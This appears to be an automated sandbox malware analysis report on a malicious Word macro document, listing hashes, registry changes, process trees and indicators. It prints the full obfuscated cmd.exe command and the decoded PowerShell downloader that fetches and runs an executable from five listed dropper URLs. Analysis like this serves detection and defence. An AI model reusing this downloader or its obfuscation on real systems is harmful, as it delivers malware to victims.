555d2c8d15d1d8018a56c964ae88148ebffcf5a323d9a1a0c04897a208180692

General

Target

272e0e5c87d69d7364ca78801a375538_JaffaCakes118.doc
Size

91KB
MD5

272e0e5c87d69d7364ca78801a375538
SHA1

1ee6c2690e27bba3f0ea1fcf87bada2962f12867
SHA256

555d2c8d15d1d8018a56c964ae88148ebffcf5a323d9a1a0c04897a208180692
SHA512

fce0640b38c95b25df64ba9d40565d1cbf65fd25b8df74d995cc67fbecee93820cd460210400489f31d228091cdfbc0dcfa6b8d3132e71aff7b0c67d76abff6d
SSDEEP

1536:07ljmW9/bvF8kDK3cvyQa2E1XFjmCaIH84G+a9:Wl/bvF8OnaJ1XtxaIH84

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://www.ozturcanakkale.com/veh

exe.dropper

http://jalvarshaborewell.com/qKkg

exe.dropper

http://kikakeus.nl/dgc0WYq9

exe.dropper

http://pashkinbar.ru/cWGU

exe.dropper

http://cisteni-studni.com/qb1Y2

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	2092	2500	cmd.exe	WINWORD.EXE

Blocklisted process makes network request 9 IoCs

Processes:

powershell.exe

flow	pid	process
5	1948	powershell.exe
9	1948	powershell.exe
11	1948	powershell.exe
12	1948	powershell.exe
14	1948	powershell.exe
16	1948	powershell.exe
17	1948	powershell.exe
19	1948	powershell.exe
21	1948	powershell.exe

Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE

Modifies registry class 64 IoCs

Processes:

WINWORD.EXE

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074}\ = "IReturnSingle"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Wow6432Node\Interface\{92E11A03-7358-11CE-80CB-00AA00611080}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Interface\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Wow6432Node\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents1"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Interface\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}\ = "LabelControlEvents"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{2C827E4E-826E-48E8-9346-ED8F0ADB57D9}\2.0\FLAGS	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Interface\{92E11A03-7358-11CE-80CB-00AA00611080}\ = "Pages"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Wow6432Node\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69}\ = "IDataAutoWrapper"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Wow6432Node\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Wow6432Node\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Wow6432Node\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Wow6432Node\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Interface\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSelect"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLCheckbox"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}\ = "SpinbuttonEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9}	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\ShellEx	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Wow6432Node\Interface\{82B02370-B5BC-11CF-810F-00A0C9030074}\ = "IReturnInteger"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Wow6432Node\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\TypeLib\{2C827E4E-826E-48E8-9346-ED8F0ADB57D9}\2.0\FLAGS\ = "6"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\TypeLib\{2C827E4E-826E-48E8-9346-ED8F0ADB57D9}\2.0\ = "Microsoft Forms 2.0 Object Library"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Interface\{82B02370-B5BC-11CF-810F-00A0C9030074}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Wow6432Node\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCombo"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Wow6432Node\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}\ = "ControlEvents"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Interface\{8A683C91-BA84-11CF-8110-00A0C9030074}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Wow6432Node\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Wow6432Node\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}\ = "TabStripEvents"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Wow6432Node\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Wow6432Node\Interface\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLText"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Wow6432Node\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080}\ = "IPage"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}\ = "IControl"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Wow6432Node\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01}\ = "IOptionFrame"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Wow6432Node\Interface\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLPassword"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents5"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents1"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Wow6432Node\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

2500 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1948 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1948 powershell.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

2500 WINWORD.EXE
2500 WINWORD.EXE

pid	process
2500	WINWORD.EXE

pid	process
1948	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1948	powershell.exe

pid	process
2500	WINWORD.EXE
2500	WINWORD.EXE

Suspicious use of WriteProcessMemory 16 IoCs

Processes:

WINWORD.EXEcmd.execmd.exe

description	pid	process	target process
PID 2500 wrote to memory of 2368	2500	WINWORD.EXE	splwow64.exe
PID 2500 wrote to memory of 2368	2500	WINWORD.EXE	splwow64.exe
PID 2500 wrote to memory of 2368	2500	WINWORD.EXE	splwow64.exe
PID 2500 wrote to memory of 2368	2500	WINWORD.EXE	splwow64.exe
PID 2500 wrote to memory of 2092	2500	WINWORD.EXE	cmd.exe
PID 2500 wrote to memory of 2092	2500	WINWORD.EXE	cmd.exe
PID 2500 wrote to memory of 2092	2500	WINWORD.EXE	cmd.exe
PID 2500 wrote to memory of 2092	2500	WINWORD.EXE	cmd.exe
PID 2092 wrote to memory of 2176	2092	cmd.exe	cmd.exe
PID 2092 wrote to memory of 2176	2092	cmd.exe	cmd.exe
PID 2092 wrote to memory of 2176	2092	cmd.exe	cmd.exe
PID 2092 wrote to memory of 2176	2092	cmd.exe	cmd.exe
PID 2176 wrote to memory of 1948	2176	cmd.exe	powershell.exe
PID 2176 wrote to memory of 1948	2176	cmd.exe	powershell.exe
PID 2176 wrote to memory of 1948	2176	cmd.exe	powershell.exe
PID 2176 wrote to memory of 1948	2176	cmd.exe	powershell.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\272e0e5c87d69d7364ca78801a375538_JaffaCakes118.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2500

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:2368

\??\c:\windows\SysWOW64\cmd.exe
c:\iJIzZnCL\irRTwzBunoMU\wnKIqpGcjFDAnI\..\..\..\windows\system32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:/C"set KMg=JFCiSsmEtbJWtDAbWLcuqRKwifdqXjZOT=)B9Mz8H{Ie1}-v.lxyU\'rY:g (20$,@6;+akGhNop/n&&for %u in (63;30;74;70;33;54;26;29;49;54;67;63;37;75;5;33;77;43;23;46;74;15;29;43;18;12;59;73;43;12;48;16;43;15;2;49;24;43;77;12;67;63;4;77;29;33;54;72;12;12;75;57;76;76;23;23;23;48;74;38;12;19;55;18;69;77;69;70;70;69;49;43;48;18;74;6;76;47;43;72;65;72;12;12;75;57;76;76;29;69;49;47;69;55;5;72;69;15;74;55;43;23;43;49;49;48;18;74;6;76;27;22;70;58;65;72;12;12;75;57;76;76;70;24;70;69;70;43;19;5;48;77;49;76;26;58;18;62;16;56;27;36;65;72;12;12;75;57;76;76;75;69;5;72;70;24;77;15;69;55;48;55;19;76;18;16;71;52;65;72;12;12;75;57;76;76;18;24;5;12;43;77;24;46;5;12;19;26;77;24;48;18;74;6;76;27;15;44;56;61;54;48;4;75;49;24;12;60;54;65;54;34;67;63;49;69;12;33;54;1;24;10;54;67;63;70;73;72;59;33;59;54;61;36;66;54;67;63;21;37;32;33;54;70;40;23;54;67;63;5;25;47;33;63;43;77;47;57;12;43;6;75;68;54;53;54;68;63;70;73;72;68;54;48;43;50;43;54;67;25;74;55;43;69;18;72;60;63;26;23;23;59;24;77;59;63;4;77;29;34;41;12;55;51;41;63;37;75;5;48;13;74;23;77;49;74;69;26;1;24;49;43;60;63;26;23;23;64;59;63;5;25;47;34;67;63;17;70;31;33;54;24;19;16;54;67;42;25;59;60;60;71;43;12;46;42;12;43;6;59;63;5;25;47;34;48;49;43;77;58;12;72;59;46;58;43;59;39;62;62;62;62;34;59;41;42;77;47;74;70;43;46;42;12;43;6;59;63;5;25;47;67;63;32;70;28;33;54;73;31;24;54;67;15;55;43;69;70;67;45;45;18;69;12;18;72;41;45;45;63;6;23;13;33;54;38;35;73;54;67;79)do set LqCa=!LqCa!!KMg:~%u,1!&&if %u gtr 78 powershell "!LqCa:~-440!""
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2092

C:\Windows\SysWOW64\cmd.exe
CmD /V:/C"set KMg=JFCiSsmEtbJWtDAbWLcuqRKwifdqXjZOT=)B9Mz8H{Ie1}-v.lxyU\'rY:g (20$,@6;+akGhNop/n&&for %u in (63;30;74;70;33;54;26;29;49;54;67;63;37;75;5;33;77;43;23;46;74;15;29;43;18;12;59;73;43;12;48;16;43;15;2;49;24;43;77;12;67;63;4;77;29;33;54;72;12;12;75;57;76;76;23;23;23;48;74;38;12;19;55;18;69;77;69;70;70;69;49;43;48;18;74;6;76;47;43;72;65;72;12;12;75;57;76;76;29;69;49;47;69;55;5;72;69;15;74;55;43;23;43;49;49;48;18;74;6;76;27;22;70;58;65;72;12;12;75;57;76;76;70;24;70;69;70;43;19;5;48;77;49;76;26;58;18;62;16;56;27;36;65;72;12;12;75;57;76;76;75;69;5;72;70;24;77;15;69;55;48;55;19;76;18;16;71;52;65;72;12;12;75;57;76;76;18;24;5;12;43;77;24;46;5;12;19;26;77;24;48;18;74;6;76;27;15;44;56;61;54;48;4;75;49;24;12;60;54;65;54;34;67;63;49;69;12;33;54;1;24;10;54;67;63;70;73;72;59;33;59;54;61;36;66;54;67;63;21;37;32;33;54;70;40;23;54;67;63;5;25;47;33;63;43;77;47;57;12;43;6;75;68;54;53;54;68;63;70;73;72;68;54;48;43;50;43;54;67;25;74;55;43;69;18;72;60;63;26;23;23;59;24;77;59;63;4;77;29;34;41;12;55;51;41;63;37;75;5;48;13;74;23;77;49;74;69;26;1;24;49;43;60;63;26;23;23;64;59;63;5;25;47;34;67;63;17;70;31;33;54;24;19;16;54;67;42;25;59;60;60;71;43;12;46;42;12;43;6;59;63;5;25;47;34;48;49;43;77;58;12;72;59;46;58;43;59;39;62;62;62;62;34;59;41;42;77;47;74;70;43;46;42;12;43;6;59;63;5;25;47;67;63;32;70;28;33;54;73;31;24;54;67;15;55;43;69;70;67;45;45;18;69;12;18;72;41;45;45;63;6;23;13;33;54;38;35;73;54;67;79)do set LqCa=!LqCa!!KMg:~%u,1!&&if %u gtr 78 powershell "!LqCa:~-440!""
3⤵
- Suspicious use of WriteProcessMemory
PID:2176

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "$Zok='djl';$Mps=new-object Net.WebClient;$Snj='http://www.ozturcanakkale.com/veh@http://jalvarshaborewell.com/qKkg@http://kikakeus.nl/dgc0WYq9@http://pashkinbar.ru/cWGU@http://cisteni-studni.com/qb1Y2'.Split('@');$lat='FiJ';$kNh = '296';$RMT='kHw';$sfv=$env:temp+'\'+$kNh+'.exe';foreach($dww in $Snj){try{$Mps.DownloadFile($dww, $sfv);$LkO='iuW';If ((Get-Item $sfv).length -ge 80000) {Invoke-Item $sfv;$TkX='NOi';break;}}catch{}}$mwD='zBN';"
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1948

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
Filesize
68KB

MD5
29f65ba8e88c063813cc50a4ea544e93

SHA1
05a7040d5c127e68c25d81cc51271ffb8bef3568

SHA256
1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

SHA512
e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize
344B

MD5
0fea19b918cce99e6dcfa247002dab29

SHA1
3fc54cb917a20d5bcfd531704a7e11afbc38d3f2

SHA256
43e6ea8c53ca794ed3e41f7c62c081d9a357421844cfc8ef33a69cb9562289f9

SHA512
885118525c6ce3eb9ee1bfd686ea18a6e4f7055cbee192c69a5052ceb0ba75638e27f35eabb02373f18aaa89f97495e4411a9da82a0b5752bd630c10ffe37720

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\ABF453F9.wmf
Filesize
512B

MD5
9814185dd47687d8bb9acf2d4481ef02

SHA1
0f49de64d3530b5f183e7a91dae0742265f03143

SHA256
d168dfb5ce3da3709226f4e159675b4cdc1a230438bc3fe8fb57f4076600fc99

SHA512
66a79b2e8aafa9dd04a6a918e9d545b871e70a6b0d4a22beafbec3c8818f163f0a933196603e1a00b50c11dc5db5e3ebf52c1966a6e269f33bc72bf0fb4f9e28

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab7A8F.tmp
Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
